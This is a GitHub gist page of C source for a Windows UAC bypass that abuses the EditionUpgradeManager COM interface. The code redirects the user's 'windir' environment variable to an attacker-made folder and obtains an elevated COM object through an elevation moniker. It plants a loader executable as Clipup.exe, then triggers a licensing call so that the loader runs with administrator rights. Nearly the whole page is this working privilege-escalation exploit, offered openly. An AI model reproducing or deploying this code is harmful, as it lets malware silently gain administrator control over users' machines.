GitHub Gist Search... All gists Back to GitHub Sign in Sign up

Instantly share code, notes, and snippets.

hfiref0x / akagi_58a.c

Created 5 years ago

Star 25 Fork 11

Code Revisions 1 Stars 25 Forks 11 Embed <script src="https:// Download ZIP

UAC bypass using EditionUpgradeManager COM interface

akagi_58a.c Raw

```

typedef interface IEditionUpgradeManager IEditionUpgradeManager;

typedef struct IEditionUpgradeManagerVtbl {

    BEGIN_INTERFACE

    HRESULT(STDMETHODCALLTYPE *QueryInterface)(
        __RPC__in IEditionUpgradeManager * This,
        __RPC__in REFIID riid,
        _COM_Outptr_  void **ppvObject);

    ULONG(STDMETHODCALLTYPE *AddRef)(
        __RPC__in IEditionUpgradeManager * This);

    ULONG(STDMETHODCALLTYPE *Release)(
        __RPC__in IEditionUpgradeManager * This);

    //incomplete definition
    HRESULT(STDMETHODCALLTYPE *InitializeWindow)(
        __RPC__in IEditionUpgradeManager * This
        );

    //incomplete definition
    HRESULT(STDMETHODCALLTYPE *UpdateOperatingSystem)(
        __RPC__in IEditionUpgradeManager * This
        );

    //incomplete definition
    HRESULT(STDMETHODCALLTYPE *ShowProductKeyUI)(
        __RPC__in IEditionUpgradeManager * This
        );

    //incomplete definition
    HRESULT(STDMETHODCALLTYPE *UpdateOperatingSystemWithParams)(
        __RPC__in IEditionUpgradeManager * This
        );

    //incomplete definition
    HRESULT(STDMETHODCALLTYPE *AcquireModernLicenseForWindows)(
        __RPC__in IEditionUpgradeManager * This
        );

    HRESULT(STDMETHODCALLTYPE *AcquireModernLicenseWithPreviousId)(
        __RPC__in IEditionUpgradeManager * This,
        __RPC__in LPWSTR PreviousId,
        __RPC__in DWORD *Data
        );

    //incomplete, irrelevant
    END_INTERFACE

} *PIEditionUpgradeManagerVtbl;

interface IEditionUpgradeManager
{
    CONST_VTBL struct IEditionUpgradeManagerVtbl *lpVtbl;
};

VOID Method58a_Test()
{
    HKEY                    hKey = NULL;
    DWORD                   cbData;
    IID                     IID_IEditionUpgradeManager;
    HRESULT                 hr;
    IEditionUpgradeManager *Manager = NULL;
    BIND_OPTS3              bop;
    WCHAR                   szBuffer[MAX_PATH + 1];

    DWORD Data[4];

    supMasqueradeProcess(FALSE);

    if (SUCCEEDED(CoInitializeEx(
        NULL,
        COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE)))
    {

        if (IIDFromString(TEXT("{F2DCB80D-0670-44BC-9002-CD18688730AF}"), &IID_IEditionUpgradeManager) == S_OK) {

            if (RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Environment"), 0,
                MAXIMUM_ALLOWED, &hKey) == ERROR_SUCCESS)
            {
                RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));

                _strcpy(szBuffer, TEXT("C:\\whereverwhatever"));
                cbData = (DWORD)((1 + _strlen(szBuffer)) * sizeof(WCHAR));
                RegSetValueEx(hKey, TEXT("windir"), 0, REG_SZ, (BYTE*)szBuffer, cbData);
                RegFlushKey(hKey);

                _strcpy(szBuffer, TEXT("Elevation:Administrator!new:{17CCA47D-DAE5-4E4A-AC42-CC54E28F334A}"));

                RtlSecureZeroMemory(&bop, sizeof(bop));
                bop.cbStruct = sizeof(bop);
                bop.dwClassContext = CLSCTX_LOCAL_SERVER;

                hr = CoGetObject(szBuffer, (BIND_OPTS *)&bop, &IID_IEditionUpgradeManager, &Manager);

                if (SUCCEEDED(hr)) {

                    CreateDirectory(TEXT("C:\\whereverwhatever"), NULL);
                    CreateDirectory(TEXT("C:\\whereverwhatever\\system32"), NULL);

                    CopyFile(
                        TEXT("C:\\test\\loader.exe"),
                        TEXT("C:\\whereverwhatever\\system32\\Clipup.exe"),
                        FALSE);

                    Data[0] = 2;
                    Data[1] = 0;
                    Data[2] = 2;
                    Data[3] = 0;

                    Manager->lpVtbl->AcquireModernLicenseWithPreviousId(Manager, TEXT("agentdonald"), (DWORD*)&Data);
                    Manager->lpVtbl->Release(Manager);
                }

                RegDeleteValue(hKey, TEXT("windir"));
                RegCloseKey(hKey);
            }
        }
    }
    return;
}
```